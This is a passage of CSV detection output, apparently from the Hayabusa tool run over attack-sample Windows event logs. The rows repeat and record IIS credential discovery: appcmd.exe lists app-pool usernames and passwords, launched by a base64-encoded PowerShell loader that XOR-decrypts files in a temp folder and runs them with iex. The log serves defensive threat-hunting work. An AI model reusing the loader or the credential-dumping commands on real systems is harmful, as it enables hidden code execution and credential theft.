GUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.811 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.891 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:17.971 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Line Number: 0"" /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.041 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool ""Line Number: 0"" /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.121 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.username : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:18.202 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list apppool /text:processmodel.password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwA